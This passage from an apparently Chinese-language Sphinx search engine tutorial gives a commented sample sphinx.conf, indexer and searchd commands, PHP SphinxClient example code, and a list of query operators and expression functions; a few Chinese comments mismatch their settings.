/usr/local/sphinx/var/data/test1stemmed \u0026nbsp;\n\u0026nbsp;\n# morphology = stem_en \u0026nbsp;\n\u0026nbsp;\n#} \u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n# distributed index example \u0026nbsp;\n\u0026nbsp;\n# \u0026nbsp;\n\u0026nbsp;\n# this is a virtual index which can NOT be directly indexed, \u0026nbsp;\n\u0026nbsp;\n# and only contains references to other local and/or remote indexes \u0026nbsp;\n\u0026nbsp;\n#index dist1 \u0026nbsp;\n\u0026nbsp;\n#{ \u0026nbsp;\n\u0026nbsp;\n#分布式索引配置 \u0026nbsp;\n\u0026nbsp;\n# \u0026#8216;distributed\u0026#8217; index type MUST be specified \u0026nbsp;\n\u0026nbsp;\n# type = distributed \u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n# local index to be searched \u0026nbsp;\n\u0026nbsp;\n# there can be many local indexes configured \u0026nbsp;\n\u0026nbsp;\n# local = test1 \u0026nbsp;\n\u0026nbsp;\n# local = test1stemmed \u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n# remote agent \u0026nbsp;\n\u0026nbsp;\n# multiple remote agents may be specified \u0026nbsp;\n\u0026nbsp;\n# syntax for TCP connections is \u0026#8216;hostname:port:index1,[index2[,\u0026#8230;]]\u0026#8217; \u0026nbsp;\n\u0026nbsp;\n# syntax for local UNIX connections is \u0026#8216;/path/to/socket:index1,[index2[,\u0026#8230;]]\u0026#8217; \u0026nbsp;\n\u0026nbsp;\n# agent = localhost:9313:remote1 \u0026nbsp;\n\u0026nbsp;\n# agent = localhost:9314:remote2,remote3 \u0026nbsp;\n\u0026nbsp;\n# agent = /var/run/searchd.sock:remote4 \u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n# blackhole remote agent, for debugging/testing \u0026nbsp;\n\u0026nbsp;\n# network errors and search results will be ignored \u0026nbsp;\n\u0026nbsp;\n# \u0026nbsp;\n\u0026nbsp;\n# agent_blackhole = testbox:9312:testindex1,testindex2 \u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n# remote agent connection timeout, milliseconds \u0026nbsp;\n\u0026nbsp;\n# optional, default is 1000 ms, ie. 1 sec \u0026nbsp;\n\u0026nbsp;\n# agent_connect_timeout = 1000 \u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n# remote agent query timeout, milliseconds \u0026nbsp;\n\u0026nbsp;\n# optional, default is 3000 ms, ie. 3 sec \u0026nbsp;\n\u0026nbsp;\n# agent_query_timeout = 3000 \u0026nbsp;\n\u0026nbsp;\n#} \u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n# realtime index example \u0026nbsp;\n\u0026nbsp;\n# \u0026nbsp;\n\u0026nbsp;\n# you can run INSERT, REPLACE, and DELETE on this index on the fly \u0026nbsp;\n\u0026nbsp;\n# using MySQL protocol (see \u0026#8216;listen\u0026#8217; directive below) \u0026nbsp;\n\u0026nbsp;\n#index rt \u0026nbsp;\n\u0026nbsp;\n#{ \u0026nbsp;\n\u0026nbsp;\n# \u0026#8216;rt\u0026#8217; index type must be specified to use RT index \u0026nbsp;\n\u0026nbsp;\n# type = rt \u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n# index files path and file name, without extension \u0026nbsp;\n\u0026nbsp;\n# mandatory, path must be writable, extensions will be auto-appended \u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n# path = /usr/local/sphinx/var/data/rt \u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n# RAM chunk size limit \u0026nbsp;\n\u0026nbsp;\n# RT index will keep at most this much data in RAM, then flush to disk \u0026nbsp;\n\u0026nbsp;\n# optional, default is 32M \u0026nbsp;\n\u0026nbsp;\n# \u0026nbsp;\n\u0026nbsp;\n# rt_mem_limit = 512M \u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n# full-text field declaration \u0026nbsp;\n\u0026nbsp;\n# multi-value, mandatory \u0026nbsp;\n\u0026nbsp;\n# rt_field = title \u0026nbsp;\n\u0026nbsp;\n# rt_field = content \u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n# unsigned integer attribute declaration \u0026nbsp;\n\u0026nbsp;\n# multi-value (an arbitrary number of attributes is allowed), optional \u0026nbsp;\n\u0026nbsp;\n# declares an unsigned 32-bit attribute \u0026nbsp;\n\u0026nbsp;\n# rt_attr_uint = gid \u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n# RT indexes currently support the following attribute types: \u0026nbsp;\n\u0026nbsp;\n# uint, bigint, float, timestamp, string \u0026nbsp;\n\u0026nbsp;\n# \u0026nbsp;\n\u0026nbsp;\n# rt_attr_bigint = guid \u0026nbsp;\n\u0026nbsp;\n# rt_attr_float = gpa \u0026nbsp;\n\u0026nbsp;\n# rt_attr_timestamp = ts_added \u0026nbsp;\n\u0026nbsp;\n# rt_attr_string = author \u0026nbsp;\n\u0026nbsp;\n#} \u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n############################################################################# \u0026nbsp;\n\u0026nbsp;\n## indexer settings \u0026nbsp;\n\u0026nbsp;\n############################################################################# \u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\nindexer \u0026nbsp;\n\u0026nbsp;\n{ \u0026nbsp;\n\u0026nbsp;\n#索引过程内存使用限制。可选选项，默认32M。 \u0026nbsp;\n\u0026nbsp;\n# memory limit, in bytes, kiloytes (16384K) or megabytes (256M) \u0026nbsp;\n\u0026nbsp;\n# optional, default is 32M, max is 2047M, recommended is 256M to 1024M \u0026nbsp;\n\u0026nbsp;\nmem_limit = 32M \u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n# maximum IO calls per second (for I/O throttling) \u0026nbsp;\n\u0026nbsp;\n# optional, default is 0 (unlimited) \u0026nbsp;\n\u0026nbsp;\n# 每秒最大I/O操作次数，用于限制I/O操作。可选选项，默认为0（无限制）。 \u0026nbsp;\n\u0026nbsp;\n# max_iops = 40 \u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n# maximum IO call size, bytes (for I/O throttling) \u0026nbsp;\n\u0026nbsp;\n# optional, default is 0 (unlimited) \u0026nbsp;\n\u0026nbsp;\n# 最大允许的I/O操作大小，以字节为单位，用于I/O节流。可选选项，默认为0（不限制）。 \u0026nbsp;\n\u0026nbsp;\n# max_iosize = 1048576 \u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n# maximum xmlpipe2 field length, bytes \u0026nbsp;\n\u0026nbsp;\n# optional, default is 2M \u0026nbsp;\n\u0026nbsp;\n# 对于XMLLpipe2数据源允许的最大的域大小 \u0026nbsp;\n\u0026nbsp;\n# max_xmlpipe2_field = 4M \u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n# write buffer size, bytes \u0026nbsp;\n\u0026nbsp;\n# several (currently up to 4) buffers will be allocated \u0026nbsp;\n\u0026nbsp;\n# write buffers are allocated in addition to mem_limit \u0026nbsp;\n\u0026nbsp;\n# optional, default is 1M \u0026nbsp;\n\u0026nbsp;\n# 写缓冲区的大小，单位是字节。可选选项，默认值是1MB。 \u0026nbsp;\n\u0026nbsp;\n# write_buffer = 1M \u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n# maximum file field adaptive buffer size \u0026nbsp;\n\u0026nbsp;\n# optional, default is 8M, minimum is 1M \u0026nbsp;\n\u0026nbsp;\n# \u0026nbsp;\n\u0026nbsp;\n# max_file_field_buffer = 32M \u0026nbsp;\n\u0026nbsp;\n} \u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n############################################################################# \u0026nbsp;\n\u0026nbsp;\n## searchd settings \u0026nbsp;\n\u0026nbsp;\n############################################################################# \u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\nsearchd \u0026nbsp;\n\u0026nbsp;\n{ \u0026nbsp;\n\u0026nbsp;\n# [hostname:]port[:protocol], or /unix/socket/path to listen on \u0026nbsp;\n\u0026nbsp;\n# known protocols are \u0026#8216;sphinx\u0026#8217; (SphinxAPI) and \u0026#8216;mysql41\u0026#8217; (SphinxQL) \u0026nbsp;\n\u0026nbsp;\n# \u0026nbsp;\n\u0026nbsp;\n# multi-value, multiple listen points are allowed \u0026nbsp;\n\u0026nbsp;\n# optional, defaults are 9312:sphinx and 9306:mysql41, as below \u0026nbsp;\n\u0026nbsp;\n# \u0026nbsp;\n\u0026nbsp;\n# listen = 127.0.0.1 \u0026nbsp;\n\u0026nbsp;\n# listen = 192.168.0.1:9312 \u0026nbsp;\n\u0026nbsp;\n# listen = 9312 \u0026nbsp;\n\u0026nbsp;\n# listen = /var/run/searchd.sock \u0026nbsp;\n\u0026nbsp;\nlisten = 9312 \u0026nbsp;\n\u0026nbsp;\n#listen = 9306:mysql41 \u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n# log file, searchd run info is logged here \u0026nbsp;\n\u0026nbsp;\n# optional, default is \u0026#8216;searchd.log\u0026#8217; \u0026nbsp;\n\u0026nbsp;\n# 全部searchd运行时事件会被记录在这个日志文件中。 \u0026nbsp;\n\u0026nbsp;\nlog = /usr/local/sphinx/var/log/searchd.log \u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n# query log file, all search queries are logged here \u0026nbsp;\n\u0026nbsp;\n# optional, default is empty (do not log queries) \u0026nbsp;\n\u0026nbsp;\n# 全部搜索查询会被记录在此文件中。 \u0026nbsp;\n\u0026nbsp;\nquery_log = /usr/local/sphinx/var/log/query.log \u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n# client read timeout, seconds \u0026nbsp;\n\u0026nbsp;\n# optional, default is 5 \u0026nbsp;\n\u0026nbsp;\n#网络客户端请求的读超时时间，单位是秒。 \u0026nbsp;\n\u0026nbsp;\nread_timeout = 5 \u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n# request timeout, seconds \u0026nbsp;\n\u0026nbsp;\n# optional, default is 5 minutes \u0026nbsp;\n\u0026nbsp;\n#在使用持久连接时，两次查询之间等待的最长时间（单位是秒）。 \u0026nbsp;\n\u0026nbsp;\nclient_timeout = 300 \u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n# maximum amount of children to fork (concurrent searches to run) \u0026nbsp;\n\u0026nbsp;\n# optional, default is 0 (unlimited) \u0026nbsp;\n\u0026nbsp;\n#子进程的最大数量 ,用来控制服务器负载。任何时候不可能有比此设置值更多的搜索同时运行。当达到限制时，新的输入客户端会被用临时失败（SEARCH_RETRY）状态码驳回，同时给出一个声明服务器已到最大连接限制的消息。 \u0026nbsp;\n\u0026nbsp;\nmax_children = 30 \u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n# PID file, searchd process ID file name \u0026nbsp;\n\u0026nbsp;\n# mandatory \u0026nbsp;\n\u0026nbsp;\n#进程ID文件 \u0026nbsp;\n\u0026nbsp;\npid_file = /usr/local/sphinx/var/log/searchd.pid \u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n# max amount of matches the daemon ever keeps in RAM, per-index \u0026nbsp;\n\u0026nbsp;\n# WARNING, THERE\u0026#8217;S ALSO PER-QUERY LIMIT, SEE SetLimits() API CALL \u0026nbsp;\n\u0026nbsp;\n# default is 1000 (just like Google) \u0026nbsp;\n\u0026nbsp;\n#守护进程在内存中为每个索引所保持并返回给客户端的匹配数目的最大值。 \u0026nbsp;\n\u0026nbsp;\nmax_matches = 1000 \u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n# seamless rotate, prevents rotate stalls if precaching huge datasets \u0026nbsp;\n\u0026nbsp;\n# optional, default is 1 \u0026nbsp;\n\u0026nbsp;\n#防止 searchd 轮换在需要预取大量数据的索引时停止响应。可选选项，默认为1（启用无缝（seamless）轮换）。 \u0026nbsp;\n\u0026nbsp;\nseamless_rotate = 1 \u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n# whether to forcibly preopen all indexes on startup \u0026nbsp;\n\u0026nbsp;\n# optional, default is 1 (preopen everything) \u0026nbsp;\n\u0026nbsp;\n#是否在启动是强制重新打开所有索引文件。可选选项，默认为0（不重新打开）。 \u0026nbsp;\n\u0026nbsp;\npreopen_indexes = 1 \u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n# whether to unlink .old index copies on succesful rotation. \u0026nbsp;\n\u0026nbsp;\n# optional, default is 1 (do unlink) \u0026nbsp;\n\u0026nbsp;\n#索引轮换成功之后，是否删除以.old为扩展名的索引拷贝。可选选项，默认为1（删除这些索引拷贝）。 \u0026nbsp;\n\u0026nbsp;\nunlink_old = 1 \u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n# attribute updates periodic flush timeout, seconds \u0026nbsp;\n\u0026nbsp;\n# updates will be automatically dumped to disk this frequently \u0026nbsp;\n\u0026nbsp;\n# optional, default is 0 (disable periodic flush) \u0026nbsp;\n\u0026nbsp;\n# UpdateAttributes() 调用时候更新是否隔一段时间写入磁盘 \u0026nbsp;\n\u0026nbsp;\n# attr_flush_period = 900 \u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n# instance-wide ondisk_dict defaults (per-index value take precedence) \u0026nbsp;\n\u0026nbsp;\n# optional, default is 0 (precache all dictionaries in RAM) \u0026nbsp;\n\u0026nbsp;\n#对 ondisk_dict 指令的全局的默认值。 可选选项，默认值是0（将字典预先缓冲到内存）。 \u0026nbsp;\n\u0026nbsp;\n# ondisk_dict_default = 1 \u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n# MVA updates pool size \u0026nbsp;\n\u0026nbsp;\n# shared between all instances of searchd, disables attr flushes! \u0026nbsp;\n\u0026nbsp;\n# optional, default size is 1M \u0026nbsp;\n\u0026nbsp;\n#网络通讯时允许的最大的包的大小。 \u0026nbsp;\n\u0026nbsp;\nmva_updates_pool = 1M \u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n# max allowed network packet size \u0026nbsp;\n\u0026nbsp;\n# limits both query packets from clients, and responses from agents \u0026nbsp;\n\u0026nbsp;\n# optional, default size is 8M \u0026nbsp;\n\u0026nbsp;\n#用于多值属性MVA更新的存储空间的共享池大小。 \u0026nbsp;\n\u0026nbsp;\nmax_packet_size = 8M \u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n# crash log path \u0026nbsp;\n\u0026nbsp;\n# searchd will (try to) log crashed query to \u0026#8216;crash_log_path.PID\u0026#8217; file \u0026nbsp;\n\u0026nbsp;\n# optional, default is empty (do not create crash logs) \u0026nbsp;\n\u0026nbsp;\n#崩溃日志文件的路径 \u0026nbsp;\n\u0026nbsp;\n# crash_log_path = /usr/local/sphinx/var/log/crash \u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n# max allowed per-query filter count \u0026nbsp;\n\u0026nbsp;\n# optional, default is 256 \u0026nbsp;\n\u0026nbsp;\n#每次查询允许设置的过滤器的最大个数。只用于内部检查，不直接影响内存使用或性能。 \u0026nbsp;\n\u0026nbsp;\nmax_filters = 256 \u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n# max allowed per-filter values count \u0026nbsp;\n\u0026nbsp;\n# optional, default is 4096 \u0026nbsp;\n\u0026nbsp;\n#单个过滤器允许的值的最大个数。只用于内部检查，不直接影响内存使用或性能。 \u0026nbsp;\n\u0026nbsp;\nmax_filter_values = 4096 \u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n# socket listen queue length \u0026nbsp;\n\u0026nbsp;\n# optional, default is 5 \u0026nbsp;\n\u0026nbsp;\n#TCP监听积压列表长度。无法如对的请求立即失败并收到“连接被拒”错误信息 \u0026nbsp;\n\u0026nbsp;\n# listen_backlog = 5 \u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n# per-keyword read buffer size \u0026nbsp;\n\u0026nbsp;\n# optional, default is 256K \u0026nbsp;\n\u0026nbsp;\n#每个关键字的读缓冲区的大小。可选选项，默认值是256K。 \u0026nbsp;\n\u0026nbsp;\n# read_buffer = 256K \u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n# unhinted read size (currently used when reading hits) \u0026nbsp;\n\u0026nbsp;\n# optional, default is 32K \u0026nbsp;\n\u0026nbsp;\n#无提示时读操作的大小。可选选项，默认值是32K。 \u0026nbsp;\n\u0026nbsp;\n# read_unhinted = 32K \u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n# max allowed per-batch query count (aka multi-query count) \u0026nbsp;\n\u0026nbsp;\n# optional, default is 32 \u0026nbsp;\n\u0026nbsp;\n#限制每批次的查询量。一个OPEN之后的查询量 \u0026nbsp;\n\u0026nbsp;\nmax_batch_queries = 32 \u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n# max common subtree document cache size, per-query \u0026nbsp;\n\u0026nbsp;\n# optional, default is 0 (disable subtree optimization) \u0026nbsp;\n\u0026nbsp;\n# \u0026nbsp;\n\u0026nbsp;\n# subtree_docs_cache = 4M \u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n# max common subtree hit cache size, per-query \u0026nbsp;\n\u0026nbsp;\n# optional, default is 0 (disable subtree optimization) \u0026nbsp;\n\u0026nbsp;\n# 限制RAM使用一个共同的子树优化 默认不优化 \u0026nbsp;\n\u0026nbsp;\n# subtree_hits_cache = 8M \u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n# multi-processing mode (MPM) \u0026nbsp;\n\u0026nbsp;\n# known values are none, fork, prefork, and threads \u0026nbsp;\n\u0026nbsp;\n# optional, default is fork \u0026nbsp;\n\u0026nbsp;\n# 工作方式 \u0026nbsp;\n\u0026nbsp;\nworkers = threads # for RT to work \u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n# max threads to create for searching local parts of a distributed index \u0026nbsp;\n\u0026nbsp;\n# optional, default is 0, which means disable multi-threaded searching \u0026nbsp;\n\u0026nbsp;\n# should work with all MPMs (ie. does NOT require workers=threads) \u0026nbsp;\n\u0026nbsp;\n# \u0026nbsp;\n\u0026nbsp;\n# dist_threads = 4 \u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n# binlog files path; use empty string to disable binlog \u0026nbsp;\n\u0026nbsp;\n# optional, default is build-time configured data directory \u0026nbsp;\n\u0026nbsp;\n# 二进制日志路径 \u0026nbsp;\n\u0026nbsp;\n# binlog_path = # disable logging \u0026nbsp;\n\u0026nbsp;\n# binlog_path = /usr/local/sphinx/var/data # binlog.001 etc will be created there \u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n# binlog flush/sync mode \u0026nbsp;\n\u0026nbsp;\n# 0 means flush and sync every second \u0026nbsp;\n\u0026nbsp;\n# 1 means flush and sync every transaction \u0026nbsp;\n\u0026nbsp;\n# 2 means flush every transaction, sync every second \u0026nbsp;\n\u0026nbsp;\n# optional, default is 2 \u0026nbsp;\n\u0026nbsp;\n# 日志刷新模式 \u0026nbsp;\n\u0026nbsp;\n# binlog_flush = 2 \u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n# binlog per-file size limit \u0026nbsp;\n\u0026nbsp;\n# optional, default is 128M, 0 means no limit \u0026nbsp;\n\u0026nbsp;\n#最大日志大小 \u0026nbsp;\n\u0026nbsp;\n# binlog_max_log_size = 256M \u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n# per-thread stack size, only affects workers=threads mode \u0026nbsp;\n\u0026nbsp;\n# optional, default is 64K \u0026nbsp;\n\u0026nbsp;\n#每个线程的堆栈大小。 \u0026nbsp;\n\u0026nbsp;\n# thread_stack = 128K \u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n# per-keyword expansion limit (for dict=keywords prefix searches) \u0026nbsp;\n\u0026nbsp;\n# optional, default is 0 (no limit) \u0026nbsp;\n\u0026nbsp;\n# 扩大为一个关键字的最大数目 \u0026nbsp;\n\u0026nbsp;\n# expansion_limit = 1000 \u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n# RT RAM chunks flush period \u0026nbsp;\n\u0026nbsp;\n# optional, default is 0 (no periodic flush) \u0026nbsp;\n\u0026nbsp;\n#RT索引在内存中检查的时间 \u0026nbsp;\n\u0026nbsp;\n# rt_flush_period = 900 \u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n# query log file format \u0026nbsp;\n\u0026nbsp;\n# optional, known values are plain and sphinxql, default is plain \u0026nbsp;\n\u0026nbsp;\n# 查询日志格式 \u0026nbsp;\n\u0026nbsp;\n# query_log_format = sphinxql \u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n# version string returned to MySQL network protocol clients \u0026nbsp;\n\u0026nbsp;\n# optional, default is empty (use Sphinx version) \u0026nbsp;\n\u0026nbsp;\n# MYSQL版本 \u0026nbsp;\n\u0026nbsp;\n# mysql_version_string = 5.0.37 \u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n# trusted plugin directory \u0026nbsp;\n\u0026nbsp;\n# optional, default is empty (disable UDFs) \u0026nbsp;\n\u0026nbsp;\n# 插件目录 \u0026nbsp;\n\u0026nbsp;\n# plugin_dir = /usr/local/sphinx/lib \u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n# default server-wide collation \u0026nbsp;\n\u0026nbsp;\n# optional, default is libc_ci \u0026nbsp;\n\u0026nbsp;\n# 链接字符集 \u0026nbsp;\n\u0026nbsp;\n# collation_server = utf8_general_ci \u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n# server-wide locale for libc based collations \u0026nbsp;\n\u0026nbsp;\n# optional, default is C \u0026nbsp;\n\u0026nbsp;\n# collation 选项 \u0026nbsp;\n\u0026nbsp;\n# collation_libc_locale = ru_RU.UTF-8 \u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n# threaded server watchdog (only used in workers=threads mode) \u0026nbsp;\n\u0026nbsp;\n# optional, values are 0 and 1, default is 1 (watchdog on) \u0026nbsp;\n\u0026nbsp;\n# 是否启用服务器监控进程 \u0026nbsp;\n\u0026nbsp;\n# watchdog = 1 \u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n# SphinxQL compatibility mode (legacy columns and their names) \u0026nbsp;\n\u0026nbsp;\n# optional, default is 0 (SQL compliant syntax and result sets) \u0026nbsp;\n\u0026nbsp;\n#sphinxql 兼容模式 \u0026nbsp;\n\u0026nbsp;\n# compat_sphinxql_magics = 1 \u0026nbsp;\n\u0026nbsp;\n} \u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n# \u0026#8211;eof\u0026#8211; \u0026nbsp;\n\u0026nbsp;\n建立索引: /usr/local/sphinx/bin/indexer \u0026#8211;config /usr/local/sphinx/etc/sphinx.conf index1 不停服务下索引： /usr/local/sphinx/bin/indexer \u0026#8211;config /usr/local/sphinx/etc/sphinx.conf \u0026#8211;all \u0026#8211;rotate 启动索引服务,使PHP的客户端可用 /usr/local/sphinx/bin/searchd \u0026#8211;config /usr/local/sphinx/etc/sphinx.conf 建立PHP测试文件 \u0026nbsp;\n\u0026lt;?php $s = new SphinxClient; setServer(\u0026#8220;localhost\u0026#8221;, 9312); $s-\u0026gt;setMatchMode(SPH_MATCH_ANY); $s-\u0026gt;setMaxQueryTime(3); $result = $s-\u0026gt;query(\u0026#8220;test\u0026#8221;);#查询 print_r ($result); ?\u0026gt; \u0026nbsp;\n\u0026nbsp;\n运行即可 searchd 命令:\n强行停止:\nsearchd \u0026#8211;config /home/myuser/sphinx.conf –stop 安静停止:\nsearchd \u0026#8211;config /home/myuser/sphinx.conf –stopwait 状态:\nsearchd \u0026#8211;config /home/myuser/sphinx.conf –status 指定PID文件\nsearchd \u0026#8211;config /home/myuser/sphinx.conf \u0026#8211;pidfile /home/myuser/sphinx.pid 启动的为控制台模式:\nsearchd \u0026#8211;config /home/myuser/sphinx.conf –console 只启动指定索引\nsearchd \u0026#8211;index myindex 生成一些字典的工具软件:spelldump\nindextool 一些转移等工具的软件\n搜索字符串规则:\n* operator OR:\nhello | world * operator NOT:\nhello -world\nhello !world\n* field search operator:\n@title hello @body world\n* field position limit modifier (introduced in version 0.9.9-rc1):\n@body[50] hello\n* multiple-field search operator:\n@(title,body) hello world\n* all-field search operator:\n@* hello\n* phrase search operator:\n\u0026#8220;hello world\u0026#8221;\n* proximity search operator:\n\u0026#8220;hello world\u0026#8221;~10\n* quorum matching operator:\n\u0026#8220;the world is a wonderful place\u0026#8221;/3\n* strict order operator (aka operator \u0026#8220;before\u0026#8221;):\naaa \u0026lt;\u0026lt; bbb \u0026lt;\u0026lt; ccc\n* exact form modifier (introduced in version 0.9.9-rc1):\nraining =cats and =dogs\n* field-start and field-end modifier (introduced in version 0.9.9-rc2):\n^hello world$\n* NEAR, generalized proximity operator (introduced in version\n2.0.1-beta):\nhello NEAR/3 world NEAR/4 \u0026#8220;my test\u0026#8221;\n* SENTENCE operator (introduced in version 2.0.1-beta):\nall SENTENCE words SENTENCE \u0026#8220;in one sentence\u0026#8221;\n* PARAGRAPH operator (introduced in version 2.0.1-beta):\n\u0026#8220;Bill Gates\u0026#8221; PARAGRAPH \u0026#8220;Steve Jobs\u0026#8221;\n* zone limit operator:\nZONE:(h3,h4) only in these titles\n表达式,支持函数等 日期用的是时间戳 (好像不是作为MYSQL存储引擎的时候用不到)\n* Arithmetic operators: +, -, *, /, %, DIV, MOD\n* Comparison operators: \u0026lt;, \u0026gt; \u0026lt;=, \u0026gt;=, =, \u0026lt;\u0026gt;\n* Boolean operators: AND, OR, NOT\n* Bitwise operators: \u0026amp;, |\n* ABS()\n* BIGINT()\n* CEIL()\n* COS()\n* CRC32()\n* DAY()\n* EXP()\n* FLOOR()\n* GEODIST()\n* IDIV()\n* IF()\n* IN()\n* INTERVAL()\n* LN()\n* LOG10()\n* LOG2()\n* MAX()\n* MIN()\n* MONTH()\n* NOW()\n* POW()\n* SIN()\n* SINT()\n* SQRT()\n* YEAR()\n* YEARMONTH()\n* YEARMONTHDAY() \u0026nbsp;\n[php] view plaincopy\n\u0026lt;?php include_once \u0026#8216;sphinxapi.php\u0026#8217;; $s = new SphinxClient(); $s-\u0026gt;setServer(\u0026#8220;localhost\u0026#8221;, 9312); $s-\u0026gt;SetConnectTimeout ( 1 );//设置链接超时 /* $s-\u0026gt;AddQuery();//列表查询 $s-\u0026gt;RunQueries ();//执行列表查询 $s-\u0026gt;ResetFilters();//清除过滤条件 $s-\u0026gt;BuildExcerpts($docs, $index, $words);//生成简要 $s-\u0026gt;BuildKeywords($query, $index, $hits);//生成关键字 $s-\u0026gt;GetLastError();//错误 $s-\u0026gt;GetLastWarning();//警告 $s-\u0026gt;FlushAttributes();//索引刷入硬盘 $s-\u0026gt;IsConnectError();//链接错误 $s-\u0026gt;ResetGroupBy();//重设分组 $s-\u0026gt;SetFieldWeights(array(\u0026#8216;sub_title\u0026#8217;=\u0026gt;1));//加权最小为1 $s-\u0026gt;SetIDRange($min, $max);//ID范围 $s-\u0026gt;SetIndexWeights(array(\u0026#8216;test1\u0026#8217;=\u0026gt;1));//索引权重 $s-\u0026gt;Status();//服务是否可用 $s-\u0026gt;UpdateAttributes($index, $attrs, $values);//更新硬盘索引 */ /* 参考文档:http://www.coreseek.cn/docs/coreseek_4.1-sphinx_2.0.1-beta.html#matching-modes SPH_MATCH_ALL, matches all query words (default 